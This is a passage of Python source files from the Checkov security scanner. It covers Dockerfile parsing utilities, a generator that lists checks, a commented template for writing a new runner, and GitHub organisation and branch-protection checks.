skipped_check: check_result["result"] = CheckResult.SKIPPED check_result["suppress_comment"] = skipped_check.get("suppress_comment", "") else: logging.info(f"Could not find context for resource with start line {startline + 1} in {self.context[dockerfile_path][result_instruction]}") else: self.calc_record_codeblock(codeblock, definitions_raw, dockerfile_path, endline, startline) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=codeblock, file_path=dockerfile_path, file_line_range=[startline + 1, endline + 1], resource=f"{dockerfile_path}.{result_instruction}", evaluations=None, check_class=check.__class__.__module__, file_abs_path=file_abs_path, entity_tags=None, severity=check.severity, ) record.set_guideline(check.guideline) report.add_record(record=record) def extract_images( self, graph_connector: DiGraph | None = None, definitions: dict[str, dict[str, list[_Instruction]]] | None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None, ) -> list[Image]: if not definitions: # should not happen return [] manager = DockerfileImageReferencerManager(definitions=definitions) images = manager.extract_images_from_resources() return images ================================================ FILE: checkov/dockerfile/utils.py ================================================ from __future__ import annotations import logging import os from collections.abc import Iterable from pathlib import Path from typing import TYPE_CHECKING, Callable, Any, Literal from dockerfile_parse.constants import COMMENT_INSTRUCTION from checkov.common.runners.base_runner import filter_ignored_paths from checkov.common.util.dockerfile import is_dockerfile from checkov.common.util.suppression import collect_suppressions_for_context from checkov.dockerfile.parser import parse if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction # only in extra_stubs DOCKERFILE_STARTLINE: Literal["startline"] = "startline" DOCKERFILE_ENDLINE: Literal["endline"] = "endline" DOCKERFILE_VALUE: Literal["value"] = "value" def get_scannable_file_paths( root_folder: str | Path | None = None, excluded_paths: list[str] | None = None ) -> set[str]: """Finds Dockerfiles""" file_paths: "set[str]" = set() if not root_folder: return file_paths for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) for file in f_names: if is_dockerfile(file): file_path = os.path.join(root, file) file_paths.add(file_path) return file_paths def get_files_definitions( files: Iterable[str], filepath_fn: Callable[[str], str] | None = None ) -> tuple[dict[str, dict[str, list[_Instruction]]], dict[str, list[str]]]: """Parses Dockerfiles into its definitions and raw data""" definitions = {} definitions_raw = {} for file in files: try: result = parse(file) path = filepath_fn(file) if filepath_fn else file definitions[path], definitions_raw[path] = result except TypeError: logging.info(f"Dockerfile skipping {file} as it is not a valid dockerfile template") except UnicodeDecodeError: logging.info(f"Dockerfile skipping {file} as it can't be read as text file") return definitions, definitions_raw def get_abs_path(root_folder: str | None, file_path: str) -> str: """Creates the abs path There are a few cases here. If -f was used, there could be a leading / because it's an absolute path, or there will be no leading slash; root_folder will always be none. If -d is used, root_folder will be the value given, and -f will start with a / (hardcoded above). The goal here is simply to get a valid path to the file (which dockerfile_path does not always give). """ if root_folder and file_path.startswith("/"): # remove the leading slash, if it exists file_path = file_path[1:] path_to_convert = os.path.join(root_folder, file_path) if root_folder else file_path return os.path.abspath(path_to_convert) def build_definitions_context( definitions: dict[str, dict[str, list[_Instruction]]], definitions_raw: dict[str, list[str]] ) -> dict[str, dict[str, Any]]: definitions_context: dict[str, dict[str, Any]] = {} for file_path, definition in definitions.items(): file_path = str(file_path) definitions_context[file_path] = {} skipped_checks = [] if COMMENT_INSTRUCTION in definition: # collect skipped check comments comments = definition[COMMENT_INSTRUCTION] comment_lines = [(comment[DOCKERFILE_STARTLINE], comment[DOCKERFILE_VALUE]) for comment in comments] skipped_checks = collect_suppressions_for_context(code_lines=comment_lines) for instruction_name, instructions in definition.items(): if instruction_name == COMMENT_INSTRUCTION: continue definitions_context[file_path][instruction_name] = [] for instruction in instructions: start_line = instruction[DOCKERFILE_STARTLINE] end_line = instruction[DOCKERFILE_ENDLINE] code_lines = [ (line + 1, definitions_raw[file_path][line]) for line in range(start_line, end_line + 1) ] definition_resource = { "start_line": start_line + 1, # lines start with index 0 "end_line": end_line + 1, "code_lines": code_lines, "skipped_checks": skipped_checks, } definitions_context[file_path][instruction_name].append(definition_resource) return definitions_context ================================================ FILE: checkov/docs_generator.py ================================================ #!/usr/bin/env python from __future__ import annotations import os import re import inspect from typing import List, Optional, Tuple, Union from tabulate import tabulate from checkov.ansible.checks.registry import registry as ansible_registry from checkov.argo_workflows.checks.registry import registry as argo_workflows_registry from checkov.arm.registry import arm_resource_registry, arm_parameter_registry from checkov.azure_pipelines.checks.registry import registry as azure_pipelines_registry from checkov.bicep.checks.param.registry import registry as bicep_param_registry from checkov.bicep.checks.resource.registry import registry as bicep_resource_registry from checkov.bitbucket.registry import registry as bitbucket_configuration_registry from checkov.bitbucket_pipelines.registry import registry as bitbucket_pipelines_registry from checkov.circleci_pipelines.registry import registry as circleci_pipelines_registry from checkov.cloudformation.checks.resource.registry import cfn_registry as cfn_registry from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.checks_infra.registry import BaseRegistry as BaseGraphRegistry, get_graph_checks_registry from checkov.common.runners.base_runner import strtobool from checkov.dockerfile.registry import registry as dockerfile_registry from checkov.github.registry import registry as github_configuration_registry from checkov.github_actions.checks.registry import registry as github_actions_jobs_registry from checkov.gitlab.registry import registry as gitlab_configuration_registry from checkov.gitlab_ci.checks.registry import registry as gitlab_ci_jobs_registry from checkov.kubernetes.checks.resource.registry import registry as k8_registry from checkov.secrets.runner import CHECK_ID_TO_SECRET_TYPE from checkov.serverless.registry import sls_registry from checkov.terraform.checks.data.registry import data_registry from checkov.terraform.checks.module.registry import module_registry from checkov.terraform.checks.provider.registry import provider_registry from checkov.terraform.checks.resource.registry import resource_registry from checkov.openapi.checks.registry import openapi_registry from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.runner_filter import RunnerFilter ID_PARTS_PATTERN = re.compile(r'([^_]*)_([^_]*)_(\d+)') CODE_LINK_BASE = 'https://github.com/bridgecrewio/checkov/blob/main/checkov' CREATE_MARKDOWN_HYPERLINKS = strtobool(os.getenv("CHECKOV_CREATE_MARKDOWN_HYPERLINKS", "FALSE")) SKIP_CHECK_IDS = { "CKV_SECRET_10", # this is an intermediate step, which is needed for another check } def get_compare_key(c: list[str] | tuple[str, ...]) -> list[tuple[str, str, int, int, str]]: res = [] for match in ID_PARTS_PATTERN.finditer(c[0]): ckv, framework, number = match.groups() numeric_value = int(number) if number else 0 # count number of leading zeros same_number_ordering = len(number) - len(number.lstrip('0')) res.append((framework, ckv, numeric_value, same_number_ordering, c[2])) return res def print_checks(frameworks: Optional[List[str]] = None, use_bc_ids: bool = False, include_all_checkov_policies: bool = True, filtered_policy_ids: Optional[List[str]] = None, filtered_exception_policy_ids: Optional[List[str]] = None) -> None: framework_list = frameworks if frameworks else ["all"] printable_checks_list = get_checks(framework_list, use_bc_ids=use_bc_ids, include_all_checkov_policies=include_all_checkov_policies, filtered_policy_ids=filtered_policy_ids or [], filtered_exception_policy_ids=filtered_exception_policy_ids or []) print( tabulate(printable_checks_list, headers=["Id", "Type", "Entity", "Policy", "IaC", "Resource Link"], tablefmt="github", showindex=True)) print("\n\n---\n\n") def get_check_link(absolute_path: str) -> str: # this will do nothing unless it's a windows path absolute_path = absolute_path.replace('\\', '/') temp = absolute_path.split("checkov") # this will even work in the likely event that you're running checkov from a folder called checkov link = f'{CODE_LINK_BASE}{temp[len(temp)-1]}' if CREATE_MARKDOWN_HYPERLINKS: return f"[{absolute_path.rsplit('/', maxsplit=1)[1]}]({link})" return link def get_checks(frameworks: Optional[List[str]] = None, use_bc_ids: bool = False, include_all_checkov_policies: bool = True, filtered_policy_ids: Optional[List[str]] = None, filtered_exception_policy_ids: Optional[List[str]] = None) -> List[Tuple[str, str, int, int, str, str]]: framework_list = frameworks if frameworks else ["all"] printable_checks_list: list[tuple[str, str, str, str, str, str]] = [] filtered_policy_ids = filtered_policy_ids or [] filtered_exception_policy_ids = filtered_exception_policy_ids or [] runner_filter = RunnerFilter(include_all_checkov_policies=include_all_checkov_policies, filtered_policy_ids=filtered_policy_ids, filtered_exception_policy_ids=filtered_exception_policy_ids) def add_from_repository(registry: Union[BaseCheckRegistry, BaseGraphRegistry], checked_type: str, iac: str, runner_filter: RunnerFilter = runner_filter) -> None: nonlocal printable_checks_list if isinstance(registry, BaseCheckRegistry): for entity, check in registry.all_checks(): if runner_filter.should_run_check(check, check.id, check.bc_id, check.severity): check_link = get_check_link(inspect.getfile(check.__class__)) printable_checks_list.append( (check.get_output_id(use_bc_ids), checked_type, entity, check.name, iac, check_link)) elif isinstance(registry, BaseGraphRegistry): for graph_check in registry.checks: if runner_filter.should_run_check(graph_check, graph_check.id, graph_check.bc_id, graph_check.severity): if not graph_check.resource_types: # only for platform custom polices with resource_types == all graph_check.resource_types = ['all'] for rt in graph_check.resource_types: if graph_check.check_path: base_path = graph_check.check_path else: base_path = inspect.getfile(graph_check.__class__) check_link = get_check_link(base_path) printable_checks_list.append( (graph_check.get_output_id(use_bc_ids), checked_type, rt, graph_check.name, iac, check_link)) if any(x in framework_list for x in ("all", "terraform")): add_from_repository(resource_registry, "resource", "Terraform") add_from_repository(data_registry, "data", "Terraform") add_from_repository(provider_registry, "provider", "Terraform") add_from_repository(module_registry, "module", "Terraform") graph_registry = get_graph_checks_registry("terraform") graph_registry.load_checks() add_from_repository(graph_registry, "resource", "Terraform") if any(x in framework_list for x in ("all", "cloudformation")): graph_registry = get_graph_checks_registry("cloudformation") graph_registry.load_checks() add_from_repository(graph_registry, "resource", "Cloudformation") add_from_repository(cfn_registry, "resource", "Cloudformation") if any(x in framework_list for x in ("all", "kubernetes")): graph_registry = get_graph_checks_registry("kubernetes") graph_registry.load_checks() add_from_repository(graph_registry, "resource", "Kubernetes") add_from_repository(k8_registry, "resource", "Kubernetes") if any(x in framework_list for x in ("all", "serverless")): add_from_repository(sls_registry, "resource", "serverless") if any(x in framework_list for x in ("all", "dockerfile")): graph_registry = get_graph_checks_registry("dockerfile") graph_registry.load_checks() add_from_repository(graph_registry, "resource", "dockerfile") add_from_repository(dockerfile_registry, "dockerfile", "dockerfile") if any(x in framework_list for x in ("all", "github_configuration")): add_from_repository(github_configuration_registry, "github_configuration", "github_configuration") if any(x in framework_list for x in ("all", "github_actions")): graph_registry = get_graph_checks_registry("github_actions") graph_registry.load_checks() add_from_repository(graph_registry, "resource", "github_actions") add_from_repository(github_actions_jobs_registry, "jobs", "github_actions") if any(x in framework_list for x in ("all", "gitlab_ci")): add_from_repository(gitlab_ci_jobs_registry, "jobs", "gitlab_ci") if any(x in framework_list for x in ("all", "gitlab_configuration")): add_from_repository(gitlab_configuration_registry, "gitlab_configuration", "gitlab_configuration") if any(x in framework_list for x in ("all", "bitbucket_configuration")): add_from_repository(bitbucket_configuration_registry, "bitbucket_configuration", "bitbucket_configuration") if any(x in framework_list for x in ("all", "bitbucket_pipelines")): add_from_repository(bitbucket_pipelines_registry, "bitbucket_pipelines", "bitbucket_pipelines") if any(x in framework_list for x in ("all", "circleci_pipelines")): add_from_repository(circleci_pipelines_registry, "circleci_pipelines", "circleci_pipelines") if any(x in framework_list for x in ("all", "argo_workflows")): add_from_repository(argo_workflows_registry, "argo_workflows", "Argo Workflows") if any(x in framework_list for x in ("all", "azure_pipelines")): add_from_repository(azure_pipelines_registry, "azure_pipelines", "Azure Pipelines") if any(x in framework_list for x in ("all", "arm")): graph_registry = get_graph_checks_registry("arm") graph_registry.load_checks() add_from_repository(graph_registry, "resource", "arm") add_from_repository(arm_resource_registry, "resource", "arm") add_from_repository(arm_parameter_registry, "parameter", "arm") if any(x in framework_list for x in ("all", "bicep")): graph_registry = get_graph_checks_registry("bicep") graph_registry.load_checks() add_from_repository(graph_registry, "resource", "Bicep") add_from_repository(bicep_param_registry, "parameter", "Bicep") add_from_repository(bicep_resource_registry, "resource", "Bicep") if any(x in framework_list for x in ("all", "openapi")): add_from_repository(openapi_registry, "resource", "OpenAPI") if any(x in framework_list for x in ("all", "ansible")): graph_registry = get_graph_checks_registry("ansible") graph_registry.load_checks() add_from_repository(graph_registry, "resource", "Ansible") add_from_repository(ansible_registry, "resource", "Ansible") if any(x in framework_list for x in ("all", "secrets")): for check_id, check_type in CHECK_ID_TO_SECRET_TYPE.items(): if check_id in SKIP_CHECK_IDS: continue if not filtered_policy_ids or check_id in filtered_policy_ids: if use_bc_ids: check_id = metadata_integration.get_bc_id(check_id) check_link = get_check_link(inspect.getfile(metadata_integration.__class__)) printable_checks_list.append((check_id, check_type, "secrets", check_type, "secrets", check_link)) return sorted(printable_checks_list, key=get_compare_key) # type:ignore[arg-type] if __name__ == '__main__': print_checks() ================================================ FILE: checkov/example_runner/__init__.py ================================================ # change this to your runner name from checkov.example_runner.checks import * # noqa ================================================ FILE: checkov/example_runner/checks/__init__.py ================================================ from checkov.example_runner.checks.job import * # noqa ================================================ FILE: checkov/example_runner/checks/base_example_runner_check.py ================================================ # # No change required normally except CheckCategories.XXXXX line 13 # from __future__ import annotations from collections.abc import Iterable from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories # Change the class name to your runner # Eg. BaseXXXXXXXXXXXXXCheck class BaseExampleRunnerCheck(BaseCheck): def __init__( self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None ) -> None: # Set category for new checks # Look at checkov/common/models/enums.py for options categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path ================================================ FILE: checkov/example_runner/checks/base_example_runner_job_check.py ================================================ # # Small customisations below to import resource registry and add the # resource type to the supported_entities from __future__ import annotations from checkov.example_runner.checks.base_example_runner_check import BaseExampleRunnerCheck # The base check required you to import the resource check registry from checkov.example_runner.checks.job_registry import registry class BaseExampleRunnerJobCheck(BaseExampleRunnerCheck): def __init__(self, name: str, id: str, block_type: str, path: str | None = None) -> None: super().__init__( name=name, id=id, # Set up your runner for the correct resource types # This is the same string is you defined in line 20 # in your runner.py supported_entities=("jobs",), block_type=block_type, ) self.path = path registry.register(self) ================================================ FILE: checkov/example_runner/checks/job/ExampleCheckTrueFalse.py ================================================ # # Example check # This is checking yaml that looks like this example where # Our resource is "jobs" # It is of type ARRAY because there can be more than one that # needs to be checked # # jobs: # unsecure-job: # name: job2 # runs-on: ubuntu-latest # env: # ACTIONS_ALLOW_UNSECURE_COMMANDS: true # steps: # - name: unsecure-step2 # run: | # echo "goo" # secure-job: # name: job3 # runs-on: ubuntu-latest # env: # ACTIONS_ALLOW_UNSECURE_COMMANDS: false # run: | # echo "ok" # from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult # Import your base check from checkov.example_runner.checks.base_example_runner_job_check import BaseExampleRunnerJobCheck from checkov.yaml_doc.enums import BlockType class ExampleCheckTrueFalse(BaseExampleRunnerJobCheck): def __init__(self) -> None: # Describe the check for the user name = "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job" # Give the check a unique id eg. CKV_TLA_24 where # CKV is standard for python checks # TLA = Three letter acronym for your runner check type: GHA is GitHub Actions # 24 is the number in sequence of checks. Must be unique! id = "CKV_GHA_1" super().__init__( name=name, id=id, # the block type tells the parse whether you'd expect one resource or many # options are ARRAY or OBJECT block_type=BlockType.ARRAY, ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: # The block type is passed as a data structure. # Add logic to parse the structure for the misconfig # Remember to always return a PASSED or FAILED. # It is easy to miss a result in complex logic if "env" not in conf: return CheckResult.PASSED, conf env_variables = conf.get("env", {}) if env_variables.get("MY_ENV_IS_PASSED", False): return CheckResult.FAILED, conf return CheckResult.PASSED, conf # Set this to your check name check = ExampleCheckTrueFalse() ================================================ FILE: checkov/example_runner/checks/job/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/example_runner/checks/job_registry.py ================================================ # # No change required normally except to possibly switch it to json # eg. from checkov.json_doc.base_registry import Registry # from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(CheckType.YAML) ================================================ FILE: checkov/example_runner/common/__init__.py ================================================ ================================================ FILE: checkov/example_runner/runner.py ================================================ from __future__ import annotations import os from typing import TYPE_CHECKING, Any from checkov.common.bridgecrew.check_type import CheckType # Import of the checks registry for a specific resource type from checkov.example_runner.checks.job_registry import registry as job_registry # Import of the IaC runner to inherit most of the code from from checkov.yaml_doc.runner import Runner as YamlRunner if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry # Inherit either that YamlRunner or the JSONRunner or ObjectRunner # depending on IaC type or for the latter if a totally new IaC type class Runner(YamlRunner): # EDIT: change below to CheckType.**MY_TYPE** # MY_TYPE is defined in report.py in checkov/common/output # class CheckType: # ... # MY_TYPE = "my_type" # check_type = CheckType.MY_TYPE # type:ignore[attr-defined] # noqa: CCE003 # a static attribute # Define your block type block_type_registries = { # noqa: CCE003 # a static attribute "jobs": job_registry, } def __init__(self) -> None: super().__init__() def require_external_checks(self) -> bool: return False def import_registry(self) -> BaseCheckRegistry: # Override of an abstract method for the class of checks to do with # a specific resource type (in this case 'jobs') # This is specific to how the IaC is broken into checkable subcomponents return self.block_type_registries["jobs"] @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: # EDIT" add conditional here to ensure this file is something we should parse. # Below is this example for github actions # as the file is always located in a predictable path # There should always be a conditional otherwise you'll parse ALL files. if ".github/workflows/" in os.path.abspath(f): return YamlRunner._parse_file(f) return None # An abstract function placeholder to determine the start and end lines. # If the default doesn't work you'll need to add your own version here # def get_start_end_lines(self, end, result_config, start): ================================================ FILE: checkov/github/__init__.py ================================================ from checkov.github.checks import * # noqa ================================================ FILE: checkov/github/base_github_branch_security.py ================================================ from __future__ import annotations from typing import Any from abc import abstractmethod from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.json_utils import get_jsonpath_from_evaluated_key from checkov.github.base_github_configuration_check import BaseGithubCheck from checkov.github.schemas.branch_protection import schema as branch_security_schema from checkov.github.schemas.no_branch_protection import schema as no_branch_security_schema from checkov.json_doc.enums import BlockType MESSAGE_BRANCH_NOT_PROTECTED = 'Branch not protected' class BranchSecurity(BaseGithubCheck): def __init__(self, id: str, name: str) -> None: categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( id=id, name=name, categories=categories, supported_entities=("*",), block_type=BlockType.DOCUMENT, ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: if branch_security_schema.validate(conf): evaluated_key = self.get_evaluated_keys()[0] jsonpath_expression = get_jsonpath_from_evaluated_key(evaluated_key) matches = jsonpath_expression.find(conf) if matches and all(isinstance(match.value, dict) or match.value == self.get_expected_value() for match in matches): return CheckResult.PASSED else: return CheckResult.FAILED if no_branch_security_schema.validate(conf): message = conf.get('message', '') if message == MESSAGE_BRANCH_NOT_PROTECTED: return CheckResult.FAILED return CheckResult.UNKNOWN def get_expected_value(self) -> str | bool: return True @abstractmethod def get_evaluated_keys(self) -> list[str]: pass ================================================ FILE: checkov/github/base_github_configuration_check.py ================================================ from __future__ import annotations from typing import Iterable from typing import Any from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories from checkov.github.dal import CKV_METADATA from checkov.github.registry import registry HTTP = "http://" class BaseGithubCheck(BaseCheck): def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str, path: str | None = None, guideline: str | None = None) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, guideline=guideline, ) self.path = path registry.register(self) @staticmethod def resolve_ckv_metadata_conf(conf: dict[str, Any]) -> tuple[dict[str, Any], dict[str, Any]]: if isinstance(conf, list) and conf: ckv_metadata = conf[-1] new_conf = conf[:-1] return ckv_metadata, new_conf elif isinstance(conf, dict): ckv_metadata = conf.get(CKV_METADATA) if ckv_metadata: new_conf = conf.copy() del new_conf[CKV_METADATA] return ckv_metadata, new_conf return {}, conf ================================================ FILE: checkov/github/base_github_negative_branch_security.py ================================================ from __future__ import annotations from typing import Any from abc import abstractmethod from bc_jsonpath_ng import parse from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories, CheckResult from checkov.github.base_github_configuration_check import BaseGithubCheck from checkov.github.schemas.branch_protection import schema as branch_security_schema from checkov.github.schemas.no_branch_protection import schema as no_branch_security_schema from checkov.json_doc.enums import BlockType MESSAGE_BRANCH_NOT_PROTECTED = "Branch not protected" class NegativeBranchSecurity(BaseGithubCheck): def __init__(self, id: str, name: str, missing_attribute_result: CheckResult = CheckResult.PASSED) -> None: categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( id=id, name=name, categories=categories, supported_entities=("*",), block_type=BlockType.DOCUMENT, ) self.missing_attribute_result = missing_attribute_result def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: if branch_security_schema.validate(conf): evaluated_key = self.get_evaluated_keys()[0].replace("/", ".") jsonpath_expression = parse(f"$..{evaluated_key}") matches = jsonpath_expression.find(conf) if not matches: # attribute doesn't exists return self.missing_attribute_result if matches: forbidden_values = self.get_forbidden_values() if ANY_VALUE in forbidden_values or any( match.value in forbidden_values for match in matches ): # attribute exists, but is not a value of 'get_forbidden_values()' or 'ANY_VALUE' return CheckResult.FAILED return CheckResult.PASSED if no_branch_security_schema.validate(conf): message = conf.get("message", "") if message == MESSAGE_BRANCH_NOT_PROTECTED: return CheckResult.FAILED return CheckResult.UNKNOWN @abstractmethod def get_evaluated_keys(self) -> list[str]: """List of JSONPath syntax path of the checked attributes""" pass @abstractmethod def get_forbidden_values(self) -> list[Any]: """List of forbidden values for the evaluated keys""" pass ================================================ FILE: checkov/github/base_github_org_check.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.json_utils import get_jsonpath_from_evaluated_key from checkov.github.base_github_configuration_check import BaseGithubCheck from checkov.github.schemas.organization import schema as org_schema from checkov.json_doc.enums import BlockType class BaseOrganizationCheck(BaseGithubCheck): def __init__(self, id: str, name: str, missing_attribute_result: CheckResult = CheckResult.PASSED) -> None: categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( id=id, name=name, categories=categories, supported_entities=("*",), block_type=BlockType.DOCUMENT, ) self.missing_attribute_result = missing_attribute_result def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf) if 'org_metadata' in ckv_metadata.get('file_name', ''): if org_schema.validate(conf): evaluated_key = self.get_evaluated_keys()[0] jsonpath_expression = get_jsonpath_from_evaluated_key(evaluated_key) matches = jsonpath_expression.find(conf) if matches: if matches[0].value in self.get_allowed_values(): return CheckResult.PASSED return CheckResult.FAILED return self.missing_attribute_result return CheckResult.UNKNOWN @abstractmethod def get_evaluated_keys(self) -> list[str]: pass @abstractmethod def get_allowed_values(self) -> list[Any]: pass ================================================ FILE: checkov/github/base_github_org_security.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.json_utils import get_jsonpath_from_evaluated_key from checkov.github.base_github_configuration_check import BaseGithubCheck from checkov.github.schemas.org_security import schema as org_security_schema from checkov.json_doc.enums import BlockType class OrgSecurity(BaseGithubCheck): def __init__(self, id: str, name: str) -> None: categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( id=id, name=name, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: if org_security_schema.validate(conf): evaluated_key = self.get_evaluated_keys()[0] jsonpath_expression = get_jsonpath_from_evaluated_key(evaluated_key) if all(match.value == self.get_expected_value() for match in jsonpath_expression.find(conf)): return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.UNKNOWN def get_expected_value(self) -> int | bool | str: return True @abstractmethod def get_evaluated_keys(self) -> list[str]: pass ================================================ FILE: checkov/github/checks/2fa.py ================================================ from __future__ import annotations from checkov.github.base_github_org_security import OrgSecurity class Github2FA(OrgSecurity): def __init__(self) -> None: name = "Ensure GitHub organization security settings require 2FA" id = "CKV_GITHUB_1" super().__init__( name=name, id=id ) def get_evaluated_keys(self) -> list[str]: return ['data/organization/requiresTwoFactorAuthentication'] check = Github2FA() ================================================ FILE: checkov/github/checks/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/github/checks/disallow_branch_deletions.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchDisallowDeletions(BranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection rules does not allow deletions" id = "CKV_GITHUB_18" super().__init__( name=name, id=id ) def get_evaluated_keys(self) -> list[str]: return ['allow_deletions/enabled'] def get_expected_value(self) -> bool: return False check = GithubBranchDisallowDeletions() ================================================ FILE: checkov/github/checks/disallow_force_pushes.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchDisallowForcePushes(BranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection rules does not allow force pushes" id = "CKV_GITHUB_5" super().__init__( name=name, id=id ) def get_evaluated_keys(self) -> list[str]: return ['allow_force_pushes/enabled'] def get_expected_value(self) -> bool: return False check = GithubBranchDisallowForcePushes() ================================================ FILE: checkov/github/checks/disallow_inactive_branch_60days.py ================================================ from __future__ import annotations import datetime from typing import Any from bc_jsonpath_ng import parse from checkov.common.models.enums import CheckCategories, CheckResult from checkov.github.base_github_configuration_check import BaseGithubCheck from checkov.github.schemas.branch import schema as branch_schema from checkov.json_doc.enums import BlockType class GithubDisallowInactiveBranch60Days(BaseGithubCheck): def __init__(self) -> None: name = "Ensure inactive branches are reviewed and removed periodically" id = "CKV_GITHUB_15" categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( id=id, name=name, categories=categories, supported_entities=("*",), block_type=BlockType.DOCUMENT, ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: if branch_schema.validate(conf): evaluated_key = self.get_evaluated_keys()[0].replace("/", ".") jsonpath_expression = parse(f"$..{evaluated_key}") matches = jsonpath_expression.find(conf) if matches: last_commit = matches[0].value.get('date', '') if last_commit: two_months_ago = datetime.datetime.today() - datetime.timedelta(days=60) last_commit_date = datetime.datetime.strptime(last_commit, "%Y-%m-%dT%H:%M:%SZ") if last_commit_date < two_months_ago: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> list[str]: return ['commit/commit/author'] check = GithubDisallowInactiveBranch60Days() ================================================ FILE: checkov/github/checks/dismiss_stale_reviews.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchDismissStaleReviews(BranchSecurity): def __init__(self) -> None: name = "Ensure GitHub branch protection dismisses stale review on new commit" id = "CKV_GITHUB_11" super().__init__(name=name, id=id) def get_evaluated_keys(self) -> list[str]: return ["required_pull_request_reviews/dismiss_stale_reviews"] check = GithubBranchDismissStaleReviews() ================================================ FILE: checkov/github/checks/enforce_branch_protection_admins.py ================================================ from __future__ import annotations from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchAdminEnforcement(BranchSecurity): def __init__(self) -> None: name = "Ensure branch protection rules are enforced on administrators" id = "CKV_GITHUB_10" super().__init__( name=name, id=id ) def get_evaluated_keys(self) -> list[str]: return ['enforce_admins/enabled'] check = GithubBranchAdminEnforcement() ================================================ FILE: checkov/github/checks/internal_repository_creation_is_limited.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github.base_github_org_check import BaseOrganizationCheck class GithubInternalRepositoryCreationIsLimited(BaseOrganizationCheck): def __init__(self) -> None: name = "Ensure internal repository creation is limited to specific members" id = "CKV_GITHUB_23" super().__init__(id=id, name=name, missing_attribute_result=CheckResult.FAILED) def get_evaluated_keys(self) -> list[str]: return ["members_can_create_internal_repositories"] def get_allowed_values(self) -> list[Any]: return [False] check = GithubInternalRepositoryCreationIsLimited() ================================================ FILE: checkov/github/checks/ipallowlist.py ================================================ from __future__ import annotations from checkov.github.base_github_org_security import OrgSecurity class GithubIPAllowList(OrgSecurity): def __init__(self) -> None: name = "Ensure GitHub organization security settings has IP allow list enabled" id = "CKV_GITHUB_3" super().__init__( name=name, id=id ) def get_evaluated_keys(self) -> list[str]: return ['data/organization/ipAllowListForInstalledAppsEnabledSetting'] def get_expected_value(self) -> str: return "ENABLED" check = GithubIPAllowList() ================================================ FILE: checkov/github/checks/minimum_admins_in_org.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.github.base_github_configuration_check import BaseGithubCheck from checkov.github.schemas.org_members import schema as org_members from checkov.json_doc.enums import BlockType MAX_ADMIN_COUNT = 3 class GithubMinimumAdminsInOrganization(BaseGithubCheck): def __init__(self) -> None: name = "Ensure minimum admins are set for the organization" id = "CKV_GITHUB_26" categories = (CheckCategories.SUPPLY_CHAIN, ) super().__init__( id=id, name=name, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: ckv_metadata, conf = self.resolve_ckv_metadata_conf(conf=conf) if 'org_admins' in ckv_metadata.get('file_name', ''): if org_members.validate(conf): if len(conf) <= MAX_ADMIN_COUNT: return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.UNKNOWN check = GithubMinimumAdminsInOrganization() ================================================ FILE: checkov/github/checks/private_repository_creation_is_limited.py 